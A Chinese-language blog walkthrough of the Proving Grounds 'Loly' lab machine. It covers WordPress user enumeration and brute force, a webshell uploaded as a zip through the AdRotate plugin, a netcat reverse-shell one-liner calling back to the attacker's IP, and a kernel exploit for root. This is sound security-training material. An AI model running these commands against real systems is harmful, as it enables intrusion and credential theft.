Proving Grounds Play : Loly Walkthrough

 Proving Grounds Play : Loly Walkthrough


Foothold :

  • 80 發現 WordPress 站台,枚舉使用者帳號後暴力破解到密碼
  • 登入後發現 AdRotate Plug-in 套件,管理頁面可以上傳檔案
  • 將 webshell.php 包成 .zip 檔案上傳成功
  • 開啟 webshell.php 成功執行 Reverse Shell 進入系統

PE :

  • WordPress 中的 wp-config-php 檔案發現一組密碼
  • 使用該組密碼成功切換到使用者帳號,原有帳號無法執行 gcc
  • Linux Kernel 過舊,下載 .c 利用檔再 gcc 編譯後利用成功提權


第一步 Rustscan,└─$ rustscan -a 192.168.170.121 --scripts none --ulimit 5000 | tee rustscan

只有 80,看來就是直球對決


snmp check,└─$ sudo nmap -sU -p 161 192.168.170.121 | tee snmp                      



nmap,└─$ sudo nmap -sCV -A -p 80 192.168.170.121 | tee nmap



80 /



80 /robots.txt



Exploit-DB



gobuster 80 /



80 /wordpress



解析不到 loly.lc



加上 hosts 後網頁正常顯示



枚舉 WordPress 使用者,wpscan --url http://loly.lc/wordpress --enumerate u

發現一個使用者帳號 loly



測試了幾個常用密碼都沒有成功



開始暴力破解看看,wpscan --url http://loly.lc/wordpress -e u --passwords /usr/share/wordlists/rockyou.txt

發現有效憑證 loly:fernando



可以登入 wordpress 沒問題



該使用者是管理者



檢查 Plug-In,AdRotate 5.8.6.2、Akismet Anti-Spam 4.1.6、Hello Dolly 1.7.2 三個



wpscan 掃看看 plug-in 的 exploit 僅有 SQL Injection 沒有看到 RCE



先繼續逛一逛,在 AdRotate --> Manage Media 管理頁面看來可以上傳檔案



直接上傳最愛的 webshell.php 發現失敗,下面有寫可以上傳 zip 檔且會自動解壓縮



先將 webshell.php 包成 .zip 檔案,└─$ zip -r webshell.php.zip webshell.php 



再傳一次看來有成功了



下面有寫檔案在 /banners 底下



實際路徑如下  /var/www/html/wordpress/wp-content/banners/ (Default: banners).



開開看,http://loly.lc/wordpress/wp-content/banners/webshell.php

完美開啟 webshell.php



測試 whoami 沒有問題



標準作業 RM 給它下去,rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.239 4444 >/tmp/f

成功獲取 Reverse Shell



獲取第一階段 flag



開始 PE,cat /etc/passwd



cat /etc/crontab



sudo -l 要密碼過不了,su loly 使用 WordPress 密碼失敗



SUID check,find / -perm -u=s -type f 2>/dev/null



查看 wp-config.php



發現其它憑證 wordpress:lolyisabeautifulgirl



使用該密碼可以成功切換使用者 loly



執行 linpeas.sh



一開始的 Kernel 就亮了兩顆橘燈



CVE-2017-16995 編輯成功,執行後成功 Root

參考 : https://github.com/kkamagui/linux-kernel-exploits



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)